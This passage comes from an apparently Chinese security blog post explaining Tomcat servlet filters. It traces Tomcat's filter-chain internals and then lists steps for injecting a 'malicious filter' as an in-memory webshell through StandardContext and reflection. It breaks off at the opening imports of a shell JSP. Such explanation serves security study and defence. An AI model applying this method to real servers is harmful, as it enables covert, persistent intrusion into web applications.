\u4e4b\u524d\u6216\u54cd\u5e94\u8fd4\u56de\u5ba2\u6237\u7aef\u4e4b\u524d\u5bf9\u8bf7\u6c42\u6216\u54cd\u5e94\u505a\u7edf\u4e00\u5904\u7406\u3002\u5e38\u89c1\u7528\u9014\u5305\u62ec\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u6743\u9650\u9a8c\u8bc1<\/li>\n\n\n\n<li>\u8bf7\u6c42\u65e5\u5fd7\u8bb0\u5f55<\/li>\n\n\n\n<li>\u7f16\u7801\u8bbe\u7f6e<\/li>\n\n\n\n<li>\u654f\u611f\u8bcd\u8fc7\u6ee4<\/li>\n\n\n\n<li>\u9632\u6b62 XSS\u3001SQL \u6ce8\u5165<\/li>\n\n\n\n<li>\u8bf7\u6c42\u62e6\u622a\u5b9e\u73b0\u767b\u5f55\u6821\u9a8c\u7b49<\/li>\n<\/ul>\n\n\n\n<p>\u7b80\u5355\u6765\u8bf4\uff0cFilter \u4f1a\u62e6\u622a HTTP \u8bf7\u6c42\uff0c\u5e76\u5728\u6267\u884c\u76ee\u6807 Servlet \u4e4b\u524d\u6216\u4e4b\u540e\u6267\u884c\u4ee3\u7801\uff0c\u662f\u5426\u653e\u884c\u53d6\u51b3\u4e8e <code>chain.doFilter()<\/code> \u65b9\u6cd5\uff0c\u6211\u4eec\u53ea\u9700\u8981\u5b9e\u73b0 <code>javax.servlet.Filter<\/code> \u63a5\u53e3\uff0c\u91cd\u5199\u5176\u4e2d\u7684 <code>doFilter<\/code> \u65b9\u6cd5\u901a\u8fc7\u6ce8\u89e3 <code>@WebFilter<\/code> \u6216 <code>web.xml<\/code> \u914d\u7f6e\u8fc7\u6ee4\u8def\u5f84\uff0c\u6700\u540e\u5728\u5bb9\u5668\u91cc\u8fd0\u884c\u5373\u53ef\u3002<\/p>\n\n\n\n<p>\u6bd4\u5982\u6211\u4eec\u521b\u5efa\u4e00\u4e2aMyFilter.java\uff0c\u4f5c\u7528\u662f\u62e6\u622a\u6240\u6709\u8bf7\u6c42\u7136\u540e\u5728\u547d\u4ee4\u884c\u8fdb\u884c\u8f93\u51fa\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.itheima.controller;\n\nimport javax.servlet.*;\nimport javax.servlet.annotation.WebFilter;\nimport java.io.IOException;\n\n\/\/ \u62e6\u622a\u6240\u6709\u8bf7\u6c42\uff08\u5305\u62ec .jsp, .html \u7b49\uff09\n@WebFilter(\"\/*\")\npublic class MyFilter implements Filter {\n\n    @Override\n    public void init(FilterConfig filterConfig) throws ServletException {\n        System.out.println(\"Filter \u521d\u59cb\u5316\");\n    }\n\n    @Override\n    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)\n            throws IOException, ServletException {\n\n        System.out.println(\"\u8bf7\u6c42\u8fdb\u5165 Filter \u4e4b\u524d\u5904\u7406\");\n\n        \/\/ \u653e\u884c\u8bf7\u6c42\n        chain.doFilter(request, response);\n\n        System.out.println(\"\u54cd\u5e94\u8fd4\u56de\u5ba2\u6237\u7aef\u4e4b\u524d\u5904\u7406\");\n    }\n\n    @Override\n    public void destroy() {\n        System.out.println(\"Filter \u88ab\u9500\u6bc1\");\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u73b0\u5728\u6211\u4eec\u518d\u8bbf\u95ee\u4efb\u4f55\u4e00\u4e2a\u9875\u9762\uff0c\u5c31\u53ef\u4ee5\u770b\u5230\u63a7\u5236\u53f0\u7684\u8f93\u51fa\uff0c\u8fd9\u5c31\u8bf4\u660e\u8fd9\u6b21\u8bf7\u6c42\u5176\u5b9e\u88ab\u6211\u4eec\u62e6\u622a\u8fdb\u884c\u64cd\u4f5c\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-222920-8-11.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-222920-8-11.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u591a\u4e2a Filter \u7684\u6267\u884c\u53ef\u4ee5\u901a\u8fc7 <code>@WebFilter<\/code> \u7684 <code>@Order<\/code>\uff08Spring Boot\uff09\u6216\u5728 <code>web.xml<\/code> \u4e2d\u914d\u7f6e\u987a\u5e8f\u3002\u800cfilter\u5982\u679c\u4e0d\u6267\u884c <code>chain.doFilter()<\/code>\uff0c\u8bf7\u6c42\u4e0d\u4f1a\u7ee7\u7eed\u5230\u76ee\u6807 Servlet\uff0c\u4e5f\u5c31\u662f\u8bf4\u8bf7\u6c42\u5c31\u4e2d\u65ad\u4e86\u3002<\/p>\n\n\n\n<p>\u6211\u4eec\u6765\u4e86\u89e3\u4e00\u4e0b\u5728Tomcat\u4e2d\u4e0eFilter\u5bc6\u5207\u76f8\u5173\u7684\u51e0\u4e2a\u7c7b:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>FilterDefs\uff1a\u5b58\u653eFilterDef\u7684\u6570\u7ec4 \uff0cFilterDef \u4e2d\u5b58\u50a8\u7740\u6211\u4eec\u8fc7\u6ee4\u5668\u540d\uff0c\u8fc7\u6ee4\u5668\u5b9e\u4f8b\uff0c\u4f5c\u7528 url \u7b49\u57fa\u672c\u4fe1\u606f<\/li>\n\n\n\n<li>FilterConfigs\uff1a\u5b58\u653efilterConfig\u7684\u6570\u7ec4\uff0c\u5728 FilterConfig \u4e2d\u4e3b\u8981\u5b58\u653e FilterDef \u548c Filter\u5bf9\u8c61\u7b49\u4fe1\u606f<\/li>\n\n\n\n<li>FilterMaps\uff1a\u5b58\u653eFilterMap\u7684\u6570\u7ec4\uff0c\u5728 FilterMap \u4e2d\u4e3b\u8981\u5b58\u653e\u4e86 FilterName \u548c \u5bf9\u5e94\u7684URLPattern<\/li>\n\n\n\n<li>FilterChain\uff1a\u8fc7\u6ee4\u5668\u94fe\uff0c\u8be5\u5bf9\u8c61\u4e0a\u7684 doFilter \u65b9\u6cd5\u80fd\u4f9d\u6b21\u8c03\u7528\u94fe\u4e0a\u7684 Filter<\/li>\n\n\n\n<li>WebXml\uff1a\u5b58\u653e web.xml \u4e2d\u5185\u5bb9\u7684\u7c7b<\/li>\n\n\n\n<li>ContextConfig\uff1aWeb\u5e94\u7528\u7684\u4e0a\u4e0b\u6587\u914d\u7f6e\u7c7b<\/li>\n\n\n\n<li>StandardContext\uff1aContext\u63a5\u53e3\u7684\u6807\u51c6\u5b9e\u73b0\u7c7b\uff0c\u4e00\u4e2a Context \u4ee3\u8868\u4e00\u4e2a Web \u5e94\u7528\uff0c\u5176\u4e0b\u53ef\u4ee5\u5305\u542b\u591a\u4e2a Wrapper<\/li>\n\n\n\n<li>StandardWrapperValve\uff1a\u4e00\u4e2a Wrapper \u7684\u6807\u51c6\u5b9e\u73b0\u7c7b\uff0c\u4e00\u4e2a Wrapper \u4ee3\u8868\u4e00\u4e2aServlet<\/li>\n<\/ul>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u6765\u8ddf\u4e00\u4e0bFilter\u7684\u5de5\u4f5c\u6d41\u7a0b\uff0c\u53ef\u4ee5\u53d1\u73b0\u5b83\u662f\u6839\u636efilterChain\u6765\u53bb\u505afilter\u7684<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-225759-8-12.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-225759-8-12.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:714px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6211\u4eec\u627e\u5230filterChain\u7684\u5b9a\u4e49\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-230058-8-13.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-230058-8-13.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u8df3\u8f6c\u5230\u8fd9\u4e2acreateFilterChain\uff0c\u53ef\u4ee5\u53d1\u73b0\u5b83\u4f1a\u5148\u8c03\u7528&nbsp;<code>getParent()<\/code>&nbsp;\u65b9\u6cd5\u83b7\u53d6 <code>StandardContext<\/code>\uff0c\u518d\u83b7\u53d6filterMaps\uff0c\u800c\u8fd9\u4e2afilterMaps\u987e\u540d\u601d\u4e49\uff0c\u5c31\u662f\u5728 filterMap \u5b58\u653e\u8fc7\u6ee4\u5668\u7684\u540d\u5b57\u4ee5\u53ca\u4f5c\u7528\u7684 url:\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-230452-8-14.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-230452-8-14.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:780px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u63a5\u4e0b\u6765\u904d\u5386 filterMaps \u4e2d\u7684 filterMap\uff0c\u5982\u679c\u53d1\u73b0\u7b26\u5408\u5f53\u524d\u8bf7\u6c42 url \u4e0e filterMap \u4e2d\u7684 urlPattern \u5339\u914d\u4e14\u901a\u8fc7filterName\u80fd\u627e\u5230\u5bf9\u5e94\u7684filterConfig\uff0c\u5219\u4f1a\u5c06\u5176\u52a0\u5165filterChain:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-230741-8-15.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-230741-8-15.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u81f3\u6b64filterChain\u7ec4\u88c5\u5b8c\u6bd5\uff0c\u91cd\u65b0\u56de\u5230 StandardContextValue \u4e2d\uff0c\u540e\u9762\u4f1a\u8c03\u7528&nbsp;<code>filterChain.doFilter()<\/code>&nbsp;\u65b9\u6cd5:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-231056-8-16.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-231056-8-16.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>filterChain.doFilter()\u4f1a\u5728\u5185\u90e8\u8c03\u7528internalDoFilter()\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-231204-8-17.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-231204-8-17.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u4f1a\u4ecefilters\u4e2d\u4f9d\u6b21\u62ff\u5230filter\u548cfilterConfig\uff0c\u6700\u7ec8\u8c03\u7528<code>filter.doFilter()<\/code>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-231345-8-18.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-231345-8-18.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u6d41\u7a0b\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2F20220216175207-8-19.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2F20220216175207-8-19.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u6839\u636e\u4e0a\u9762\u7684\u8c03\u8bd5\uff0c\u6211\u4eec\u53d1\u73b0\u6700\u5173\u952e\u7684\u5c31\u662f<code>StandardContext.findFilterMaps()<\/code>\u548c<code>StandardContext.findFilterConfig()<\/code>\uff0c\u800c\u8fd9\u4e24\u4e2a\u65b9\u6cd5\u90fd\u662f\u76f4\u63a5\u4eceStandardContext\u4e2d\u53d6\u5230\u5bf9\u5e94\u7684\u5c5e\u6027\uff0c\u90a3\u4e48\u6211\u4eec\u53ea\u8981\u5f80\u8fd92\u4e2a\u5c5e\u6027\u91cc\u9762\u63d2\u5165\u5bf9\u5e94\u7684filterMap\u548cfilterConfig\u5373\u53ef\u5b9e\u73b0\u52a8\u6001\u6dfb\u52a0filter\u7684\u76ee\u7684\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-231935-8-20.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-231935-8-20.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-232036-8-21.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-232036-8-21.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:631px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u4e8b\u5b9e\u4e0aStandardContext\u76f4\u63a5\u63d0\u4f9b\u4e86\u5bf9\u5e94\u7684\u6dfb\u52a0\u65b9\u6cd5\uff0c\u6bd4\u5982\u8fd9\u4e2aaddFilterMapBefore\uff0c\u800c\u4e14\u770b\u540d\u5b57\u5c31\u77e5\u9053\uff0c\u5b83\u5e94\u8be5\u5411\u53ef\u4ee5\u5bb9\u5668\u7684\u8fc7\u6ee4\u5668\u6620\u5c04\u8868\u4e2d\u6dfb\u52a0\u4e00\u4e2a FilterMap\uff0c\u5e76\u63d2\u5165\u5230\u5df2\u6709\u6620\u5c04\u7684\u524d\u9762\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-232259-8-22.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-232259-8-22.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u53ea\u4e0d\u8fc7\u5b83\u524d\u9762\u6709\u4e00\u4e2a\u6821\u9a8c\uff0c\u6211\u4eec\u8ddf\u4e00\u4e0b\u8fd9\u4e2avalidateFilterMap\uff0c\u53ef\u4ee5\u53d1\u73b0\u5b83\u4f1a\u6839\u636efilterName\u53bb\u5bfb\u627e\u5bf9\u5e94\u7684filterDef\uff0c\u6ca1\u6709\u7684\u8bdd\u5c31\u76f4\u63a5\u629b\u51fa\u5f02\u5e38\u4e86\uff0c\u8fd9\u91cc\u5f97\u6ce8\u610f\u4e00\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-232517-8-23.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-232517-8-23.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u6211\u4eec\u627e\u627e\u6dfb\u52a0filterDefs\u7684\u65b9\u6cd5\uff0c\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u76f4\u63a5\u6709\u73b0\u6210\u7684\uff0c\u6240\u4ee5\u6dfb\u52a0\u4e00\u4e0b\u5c31\u884c\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-232728-8-24.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-232728-8-24.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:700px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u4f46\u662ffilterConfigs\u5c31\u6ca1\u6709\u73b0\u6210\u7684\u65b9\u6cd5\u53ef\u4ee5add\u4e86\uff0c\u5f97\u7528\u53cd\u5c04\u624b\u52a8\u83b7\u53d6\u7136\u540e\u6dfb\u52a0\u3002<\/p>\n\n\n\n<p>\u6700\u540e\u603b\u7ed3\u4e0bFilter\u578b\u5185\u5b58\u9a6c(\u5373\u52a8\u6001\u521b\u5efafilter)\u7684\u6b65\u9aa4:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u83b7\u53d6StandardContext<\/li>\n\n\n\n<li>\u7ee7\u627f\u5e76\u7f16\u5199\u4e00\u4e2a\u6076\u610ffilter<\/li>\n\n\n\n<li>\u5b9e\u4f8b\u5316\u4e00\u4e2aFilterDef\u7c7b\uff0c\u5305\u88c5filter\u5e76\u5b58\u653e\u5230StandardContext.filterDefs\u4e2d<\/li>\n\n\n\n<li>\u5b9e\u4f8b\u5316\u4e00\u4e2aFilterMap\u7c7b\uff0c\u5c06\u6211\u4eec\u7684 Filter \u548c urlpattern \u76f8\u5bf9\u5e94\uff0c\u5b58\u653e\u5230StandardContext.filterMaps\u4e2d(\u4e00\u822c\u4f1a\u653e\u5728\u9996\u4f4d)<\/li>\n\n\n\n<li>\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6filterConfigs\uff0c\u5b9e\u4f8b\u5316\u4e00\u4e2aFilterConfig(ApplicationFilterConfig)\u7c7b\uff0c\u4f20\u5165StandardContext\u4e0efilterDefs\uff0c\u5b58\u653e\u5230filterConfig\u4e2d<\/li>\n<\/ul>\n\n\n\n<p>\u6309\u7167\u8fd9\u4e2a\u903b\u8f91\uff0c\u6211\u4eec\u4e0d\u96be\u5199\u51fa\u4ee3\u7801SevletShell.jsp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;%@ page import=\"org.apache.catalina.core.ApplicationContext\" %&gt;\n&lt;%@ page import=\"java.lang.reflect.Field\" %&gt;\n&lt;%@ page 